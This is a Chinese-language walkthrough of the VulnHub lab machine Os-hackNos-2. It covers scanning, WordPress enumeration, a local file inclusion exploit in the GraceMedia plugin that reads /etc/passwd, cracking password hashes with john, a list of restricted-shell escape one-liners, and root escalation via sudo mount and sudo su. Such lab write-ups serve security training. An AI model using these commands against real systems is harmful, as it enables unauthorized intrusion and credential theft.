vulnhub靶机Os-hackNos-2

vulnhub-Os-hackNos-2
知识点:

  • nmap
  • dirb
  • searchsploit
  • wpscan
  • john
  • LFI漏洞
  • rbash逃逸

环境搭建

  • 难度:中等偏下
  • 需要获取俩个flag
1
2
3
4
5
难度:容易中级

标记:2标记第一个用户和第二个根

学习:Web应用程序| 枚举 密码破解

靶机和kali均使用NAT模式,靶机最开始不能获取ip

网卡设置

通过netplan设置网络。

1.1在开机时按下Shift键进入以下界面
在这里插入图片描述
1.2在此页面按下e键,进入如下界面
在这里插入图片描述
1.3将ro 替换为 rw signie init=/bin/bash
在这里插入图片描述
1.4按下Ctrl键+X键,进入如下页面
在这里插入图片描述
1.5查看当前网卡IP信息 ip a

1592824440957

1.6ifconfig -a看到有一块ens33的网卡,但是没有生效。

sudo vim /etc/netplan/50-cloud-init.yaml
将enp0s3改为ens33
1593092474195

之后dhclient获取一下ip

1593092525397

重启便能扫描到靶机ip

信息收集

主机发现

1
nmap -sP 192.168.211.1/24

1593092992199

得到目标靶机的ip为192.168.211.155

端口扫描

1
nmap -A 192.168.211.155

1593093064474

靶机开放了22端口和80端口

访问80端口
其为一个Apache2页面
1593094523375

使用dirb扫描一下目录

1
dirb http://192.168.211.155

1593094575401

发现了tsweb目录,并且可以很容易看出这是一个WordPress网站
访问wp-admin进入后台登陆页面,使用wpscan扫描该网站用户

1
wpscan --url http://192.168.211.155/tsweb/ -e u

1593095301085

得到一个用户名为user

GETSHELL

再次使用该工具进行爆破密码

1
wpscan --url http://192.168.211.155/tsweb/ -U user -P /usr/share/wordlists/rockyou.txt

但是爆破了十几分钟都没出结果,所以换一种方法
再次回去看扫描结果,发现该网站有一个很老的插件
1593096302259

搜索是否存在漏洞

1
searchsploit gracemedi

1593096351757

查看该漏洞,找到一个本地文件包含的POC
1593096408930

1
/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

1593096462198

成功利用,并且发现了flag用户的密码的hash值,尝试进行破解
$1$flag$vqjCxzjtRc7PofLYS2lWf/写入john.txt中

1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt john.txt

1593098058274

得到密码为topsecret

使用ssh登陆

1
ssh flag@192.168.211.155

1593098156737

登陆成功,但是收到了rbash的限制,记得在做DC-2靶机的时候也遇到过,需要进行绕过

绕过rbash

1
2
3
4
5
导入$PATH

BASH_CMDS[a]=/bin/bash;a

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

但是这里/不被允许,寻找其他方法
参考:https://www.freebuf.com/articles/system/188989.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
编程语言
#python:
python -c 'import os; os.system("/bin/bash")'
#php:
php -a then exec("sh -i");
#perl:
perl -e 'exec "/bin/sh";'
#lua:
os.execute('/bin/sh').
#ruby:
exec "/bin/sh"
最新技术
#ssh:
ssh username@IP - t "/bin/sh" or "/bin/bash"
#ssh2:
ssh username@IP -t "bash --noprofile"
#ssh3:
ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
#ssh4:
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
#ZIP:
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
#tar:
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
#awk:
awk 'BEGIN {system("/bin/bash")}'
#scp:
scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./

这里我选用awk
1593099148494

成功绕过rbash

通过遍历目录,在/var/backups/passbkp下发现rohit的密码hash,进行破解

1
$1$rohit$01Dl0NQKtgfeL08fGrggi0

得到密码为!%hack41,使用rohit登陆

1593136792961

在user.txt中发现第一个flag

1593135996418

之后便需要进行提权

提权

查看当前⽤⼾sudo⽀持的命令sudo -l
1593136711932

查看具有suid权限的命令

1
find / -user root -perm -4000 2>/dev/null

1593136374417

发现有su、sudo、mount等命令具有suid权限

使用mount提权

1
2
sudo mount -o bind /bin/sh /bin/mount
sudo mount

1593136587976

使用su提权

1
sudo su

1593136621308

这个靶机提权的方法很多,可以参考https://gtfobins.github.io/

文章作者:CyzCc
最后更新:2020年06月29日 09:06:20
原始链接:https://cyzcc.vip/2020/06/29/Os-hackNos-2/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------